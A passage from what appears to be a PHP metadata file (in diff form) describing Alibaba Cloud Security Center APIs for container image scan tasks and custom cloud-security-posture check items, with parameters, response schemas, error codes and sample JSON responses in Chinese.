100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F9353221-40F4-5F98-B73C-2803DC804033\\n \\n a410bb3e68c217a3368bc0238c66886d\\n 5\\n 5\\n 1644286364150\\n 1644286364150\\n SUCCESS\\n 100\\n SUCCESS\\n true\\n \\n","errorExample":""}]', + 'title' => '创建镜像扫描任务', + 'description' => '建议您在使用本接口前，先使用[PublicPreCheckImageScanTask](~~PublicPreCheckImageScanTask~~)接口查询容器镜像安全扫描覆盖的镜像数和消耗的授权数，确保镜像安全扫描所需的授权数足够，避免因授权数不够导致镜像安全扫描任务中断。', + 'responseParamsDescription' => '**镜像安全扫描支持的地域**'."\n" + ."\n" + .'| 地域 | 城市 | 地域ID |'."\n" + .'|:---:|:---:|:---:|'."\n" + .'|华东1|杭州|cn-hangzhou|'."\n" + .'|华东2|上海|cn-shanghai|'."\n" + .'|华南1|深圳|cn-shenzhen|'."\n" + .'|华北1|青岛|cn-qingdao|'."\n" + .'|华北2|北京|cn-beijing|'."\n" + .'|华北3|张家口|cn-zhangjiakou|'."\n" + .'|华北5|呼和浩特|cn-huhehaote|'."\n" + .'|中国香港|中国香港|cn-hongkong|'."\n" + .'|亚太东北1|东京|ap-northeast-1|'."\n" + .'|亚太东南5|雅加达|ap-southeast-5|'."\n" + .'|美国西部1|硅谷|us-west-1|'."\n" + .'|美国东部1|弗吉尼亚|us-east-1|'."\n" + .'|欧洲中部1|法兰克福|eu-central-1|'."\n" + .'|英国伦敦|伦敦|eu-west-1|', + ], + 'PublicSyncAndCreateImageScanTask' => [ + 'summary' => '将镜像导入到资产中心并为该镜像创建扫描任务。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.X.X', + ], + ], + [ + 'name' => 'Images', + 'in' => 'query', + 'schema' => [ + 'description' => '要导入资产中心的镜像的信息。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **RegistryType**：镜像仓的类型。取值：'."\n" + .' - acr'."\n" + .' - harbor'."\n" + .' - quay'."\n" + .'- **RepoId**：镜像仓的ID。'."\n" + .'- **InstanceId**：ACR镜像仓实例的ID。'."\n" + .'- **RepoNamespace**：镜像仓的命名空间。'."\n" + .'- **RegionId**：镜像的地域ID。'."\n" + .'- **RepoName**：镜像仓的名称。'."\n" + .'- **Digest**：镜像的摘要。'."\n" + .'- **Tag**：镜像的标签。'."\n" + .'- **CreateTime**：镜像创建的时间戳，单位为毫秒。'."\n" + .'- **UpdateTime**：镜像更新的时间戳，单位为毫秒。', + 'type' => 'string', + 'required' => true, + 'example' => '[{"registryType":"acr","repoId":"crr-red9kgqqi0fh75d5","instanceId":"cri-1x2qtjd75ofqvfa8","repoNamespace":"1125","regionId":"cn-hangzhou","repoName":"script1","digest":"b1064a5007786b6f82a50772858e8156bc1e5fbddb7dd20af6922761ad197fe4","tag":"v0113-ver2","createTime":1641267666666,"updateTime":1641267909090}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F9353221-40F4-5F98-B73C-2803DC804033', + ], + 'Data' => [ + 'description' => '调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '扫描任务的ID。', + 'type' => 'string', + 'example' => 'a410bb3e68c217a3368bc0238c66886d', + ], + 'TotalCount' => [ + 'description' => '扫描镜像的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'FinishCount' => [ + 'description' => '已完成扫描的镜像的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'CollectTime' => [ + 'description' => '采集镜像信息的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'ExecTime' => [ + 'description' => '扫描任务开始运行的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'Status' => [ + 'description' => '扫描任务的状态。取值：'."\n" + ."\n" + .'- **INIT**：初始化中'."\n" + .'- **PRE_ANALYZER**：预分析中'."\n" + .'- **SUCCESS**：执行成功'."\n" + .'- **FAIL**：执行失败', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Progress' => [ + 'description' => '扫描任务的进度。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Result' => [ + 'description' => '扫描任务的执行结果。取值：'."\n" + ."\n" + .'- **SUCCESS**：扫描任务执行成功'."\n" + .'- **TASK\\_NOT\\_SUPPORT_REGION**：镜像在不支持扫描的地域', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'CanCreate' => [ + 'description' => '是否可以继续创建扫描任务。取值：'."\n" + ."\n" + .'- **true**：可以继续创建扫描任务。'."\n" + .'- **false**：无法继续创建扫描任务。'."\n" + ."\n" + .'> 默认支持同时存在10个扫描任务，超过10个扫描任务时，使用本接口创建扫描任务会失败。您需要等待已有的10个扫描任务中有扫描任务完成后，才可以继续创建新的扫描任务。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9353221-40F4-5F98-B73C-2803DC804033\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"a410bb3e68c217a3368bc0238c66886d\\",\\n \\"TotalCount\\": 5,\\n \\"FinishCount\\": 5,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F9353221-40F4-5F98-B73C-2803DC804033\\n \\n a410bb3e68c217a3368bc0238c66886d\\n 5\\n 5\\n 1644286364150\\n 1644286364150\\n SUCCESS\\n 100\\n SUCCESS\\n true\\n \\n","errorExample":""}]', + 'title' => '将镜像导入到资产中心并为该镜像创建扫描任务', + ], + 'DescribeCountScannedImage' => [ + 'summary' => '统计已经扫描过的镜像数据。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3F4236AB-7070-538D-85EB-98EBFE6C****', + ], + 'ScannedCount' => [ + 'description' => '已经扫描过的镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3F4236AB-7070-538D-85EB-98EBFE6C****\\",\\n \\"ScannedCount\\": 11\\n}","type":"json"}]', + 'title' => '统计已经扫描过的镜像数据', + ], + 'CreateCheckPolicy' => [ + 'summary' => '在云安全态势管理自定义检查项功能中，创建检查项分类设置中的归属标准、归属条例或归属章节。', + 'path' => '', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyType', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项规则的策略分类类型：'."\n" + .'- **STANDARD**：新增归属标准。'."\n" + .'- **REQUIREMENT**：新增归属条例。'."\n" + .'- **SECTION**：新增归属章节。', + 'type' => 'string', + 'required' => true, + 'example' => 'STANDARD', + ], + ], + [ + 'name' => 'PolicyShowName', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义策略的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'TestPolicyName', + ], + ], + [ + 'name' => 'DependentPolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '关联的上级策略ID。'."\n" + .' '."\n" + .'（具体的依赖关系从低到高依次为 章节->条例->标准）', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '关联的策略大类的名称（PolicyType取值为STANDARD时为必填）：'."\n" + .'- **AISPM**：AI配置管理（AISPM）。'."\n" + .'- **IDENTITY_PERMISSION**：身份权限管理(CIEM)。'."\n" + .'- **RISK**：安全风险。'."\n" + .'- **COMPLIANCE**：合规风险。', + 'type' => 'string', + 'required' => false, + 'example' => 'AISPM', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回的请求信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', + ], + 'CheckCustomPolicy' => [ + 'description' => '添加策略的具体信息。', + 'type' => 'object', + 'properties' => [ + 'PolicyId' => [ + 'description' => '自定义策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1062**', + ], + 'PolicyType' => [ + 'description' => '自定义检查项规则的策略类型：'."\n" + .'- **STANDARD**：标准策略类型。'."\n" + .'- **REQUIREMENT**：条例策略类型。'."\n" + .'- **SECTION**：章节策略类型。', + 'type' => 'string', + 'example' => 'STANDARD', + ], + 'PolicyShowName' => [ + 'description' => '自定义策略的名称。', + 'type' => 'string', + 'example' => 'TestPolicyName', + ], + 'CheckType' => [ + 'description' => '策略的类型（标识策略是系统策略还是用户策略）：'."\n" + .'- **CUSTOM**：用户自定义。'."\n" + .'- **SYSTEM**：系统预定义。', + 'type' => 'string', + 'example' => 'CUSTOM', + ], + 'Type' => [ + 'description' => '关联的策略大类的名称：'."\n" + .'- **AISPM**：AI配置管理（AISPM）。'."\n" + .'- **KISPM**：Kubernetes配置管理(KSPM)。'."\n" + .'- **IDENTITY_PERMISSION**：身份权限管理(CIEM)。'."\n" + .'- **RISK**：安全风险。'."\n" + .'- **COMPLIANCE**：合规风险。', + 'type' => 'string', + 'example' => 'AISPM', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + [ + 'errorCode' => 'CspmCreatePolicyExceedLimit', + 'errorMessage' => 'The maximum number of created policies has been reached.', + ], + [ + 'errorCode' => 'CspmCreatePolicyExists', + 'errorMessage' => 'Related policy %s already exist.', + ], + [ + 'errorCode' => 'CspmPolicyTypeNotExist', + 'errorMessage' => 'The associated check criteria does not exist.', + ], + [ + 'errorCode' => 'CspmDependentPolicyError', + 'errorMessage' => 'The associated policy %s is missing.', + ], + [ + 'errorCode' => 'CspmCreatePolicyError', + 'errorMessage' => 'Failed to create policy.', + ], + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"CheckCustomPolicy\\": {\\n \\"PolicyId\\": 0,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"TestPolicyName\\",\\n \\"CheckType\\": \\"CUSTOM\\",\\n \\"Type\\": \\"AISPM\\"\\n }\\n}","type":"json"}]', + 'title' => '创建自定义检查项策略分类', + ], + 'CreateCheckItem' => [ + 'summary' => '在云安全态势管理自定义检查项功能中，用户创建自定义检查项。', + 'path' => '', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'SectionIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项关联的章节ID数组。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项关联章节ID。'."\n" + .'> 您可调用[ListCheckPolicies](~~ListCheckPolicies~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1000000000001', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。'."\n" + .'> 您可调用[ListCloudAssetSchemas](~~ListCloudAssetSchemas~~)接口获取可填入的厂商。', + 'type' => 'string', + 'required' => true, + 'example' => 'ALIYUN', + ], + ], + [ + 'name' => 'InstanceType', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品的资产类型。'."\n" + .'> 您可调用[ListCloudAssetSchemas](~~ListCloudAssetSchemas~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'ECS', + ], + ], + [ + 'name' => 'InstanceSubType', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品的资产子类型。'."\n" + .'> 您可调用[ListCloudAssetSchemas](~~ListCloudAssetSchemas~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'DISK', + ], + ], + [ + 'name' => 'CheckShowName', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'testCheckItemName', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的风险等级。取值：'."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'string', + 'required' => true, + 'example' => 'LOW', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项状态。取值：'."\n" + .'- **EDIT**：编辑中'."\n" + .'- **RELEASE**：已发布'."\n" + ."\n" + .'> - 从**已发布**改为**编辑中**会清除所有历史记录'."\n" + .'> - 只有**已发布**状态才能使用检查项检查。', + 'type' => 'string', + 'required' => true, + 'example' => 'EDIT', + 'enum' => [ + 'RELEASE', + 'EDIT', + ], + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'remark', + ], + ], + [ + 'name' => 'Description', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '检查项的描述信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项描述信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'required' => false, + 'example' => 'text', + ], + 'Value' => [ + 'description' => '描述的具体内容信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'custom description.', + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'AssistInfo', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '检查项帮助信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项风险的帮助信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'required' => false, + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的帮助信息的内容。', + 'type' => 'string', + 'required' => false, + 'example' => 'custom assistInfo.', + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'Solution', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '检查项解决方案信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项解决方案信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'required' => false, + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的解决方案内容。', + 'type' => 'string', + 'required' => false, + 'example' => 'text', + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'CheckRule', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项定义规则。', + 'type' => 'string', + 'required' => true, + 'example' => '{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testId"},{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testInstanceId"}]}}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '接口返回的数据结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'Data' => [ + 'description' => '调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '创建成功返回的检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100000000001', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + [ + 'errorCode' => 'CspmParamOverSize', + 'errorMessage' => 'The parameter is too long.', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + [ + 'errorCode' => 'CspmCreateCheckCustomItemExceedLimit', + 'errorMessage' => 'The number of custom check items created exceeds the limit.', + ], + [ + 'errorCode' => 'CspmCheckCustomItemSectionsError', + 'errorMessage' => 'The chapter associated with the custom check item does not exist.', + ], + [ + 'errorCode' => 'CspmVerifyItemRuleError.%s', + 'errorMessage' => 'Audit check item check rule error: %s.', + ], + [ + 'errorCode' => 'CspmCreateCheckCustomItemError', + 'errorMessage' => 'Failed to create custom check item.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Data\\": {\\n \\"CheckId\\": 100000000001\\n }\\n}","type":"json"}]', + 'title' => '创建自定义检查项', + ], + 'DeleteCheckItem' => [ + 'summary' => '在云安全态势管理自定义检查项功能中，删除用户自定义检查项。', + 'path' => '', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项ID。'."\n" + .'> 您可调用[ListCheckItems](~~ListCheckItems~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1000000000001', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '接口返回的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', + ], + 'CheckItems' => [ + 'description' => '删除自定义检查项的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项信息。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1000000000001', + ], + 'CheckShowName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'testCheckItemName', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + [ + 'errorCode' => 'CspmDeleteCheckCustomItemError', + 'errorMessage' => 'The deleted custom check item does not exist.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"CheckItems\\": [\\n {\\n \\"CheckId\\": 1000000000001,\\n \\"CheckShowName\\": \\"testCheckItemName\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '删除自定义检查项', + ], + 'ListCheckItems' => [ + 'summary' => '查询云安全态势管理自定义检查项列表。', + 'path' => '', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '100000000001', + ], + ], + [ + 'name' => 'CheckShowName', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testCheckItemName', + ], + ], + [ + 'name' => 'CheckTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '态势感知检查项的来源类型。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的类型（标识策略是系统检查项还是用户检查项）：'."\n" + .'- **CUSTOM**：用户自定义'."\n" + .'- **SYSTEM**：系统预定义', + 'type' => 'string', + 'required' => false, + 'example' => 'SYSTEM', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Statuses', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项状态。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项状态。取值：'."\n" + .'- **EDIT**：编辑中'."\n" + .'- **RELEASE**：已发布', + 'type' => 'string', + 'required' => false, + 'example' => 'RELEASE', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，显示的当前页的页码。起始值为**1**，默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '接口返回的数据体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'CheckItems' => [ + 'description' => '检查项信息。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项信息。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100000000001', + ], + 'CheckShowName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'testCheckItemName', + ], + 'Vendor' => [ + 'description' => '云资产厂商。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'InstanceType' => [ + 'description' => '云产品的资产类型。', + 'type' => 'string', + 'example' => 'ECS', + ], + 'InstanceSubType' => [ + 'description' => '云产品的资产子类型。', + 'type' => 'string', + 'example' => 'DISK', + ], + 'RiskLevel' => [ + 'description' => '检查项的风险等级。取值：'."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'string', + 'example' => 'HIGH', + ], + 'Status' => [ + 'description' => '检查项状态。取值：'."\n" + .'- **EDIT**：编辑中'."\n" + .'- **RELEASE**：已发布', + 'type' => 'string', + 'example' => 'EDIT', + ], + 'CheckPolicies' => [ + 'description' => '检查结果关联的标准、条例、章节信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查结果关联的标准、条例、章节信息。', + 'type' => 'object', + 'properties' => [ + 'StandardId' => [ + 'description' => '检查项的标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10000000001', + ], + 'StandardShowName' => [ + 'description' => '检查项的标准展示名称。', + 'type' => 'string', + 'example' => 'testStandardShowName', + ], + 'RequirementId' => [ + 'description' => '检查项的条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10000000001', + ], + 'RequirementShowName' => [ + 'description' => '检查项的条例展示名称。', + 'type' => 'string', + 'example' => 'testRequirementShowName', + ], + 'SectionId' => [ + 'description' => '检查项的章节ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10000000001', + ], + 'SectionShowName' => [ + 'description' => '检查项的章节展示名称。', + 'type' => 'string', + 'example' => 'testSectionShowName', + ], + 'Type' => [ + 'description' => '关联的策略大类的名称：'."\n" + .'- **AISPM**：AI配置管理（AI-SPM）'."\n" + .'- **KISPM**：Kubernetes配置管理(KSPM)'."\n" + .'- **IDENTITY_PERMISSION**：身份权限管理(CIEM)'."\n" + .'- **RISK**：安全风险'."\n" + .'- **COMPLIANCE**：合规风险', + 'type' => 'string', + 'example' => 'AISPM', + ], + ], + ], + ], + 'Description' => [ + 'description' => '检查项的描述信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查描述属性类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '描述的具体内容信息。', + 'type' => 'string', + 'example' => 'custom description.', + ], + ], + ], + 'Solution' => [ + 'description' => '检查项解决方案信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项解决方案信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的解决方案内容。', + 'type' => 'string', + 'example' => 'test solution.', + ], + ], + ], + 'AssistInfo' => [ + 'description' => '检查项帮助信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项风险的帮助信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的帮助信息的内容。', + 'type' => 'string', + 'example' => 'test assistInfo.', + ], + ], + ], + 'CheckRule' => [ + 'description' => '自定义检查项定义规则。', + 'type' => 'string', + 'example' => '{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testId"},{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testInstanceId"}]}}', + ], + 'CheckType' => [ + 'description' => '态势感知检查项的来源类型：'."\n" + .' - **CUSTOM**：用户自定义'."\n" + .' - **SYSTEM**：态势感知平台预定义', + 'type' => 'string', + 'example' => 'SYSTEM', + ], + 'Remark' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'example' => 'remark.', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 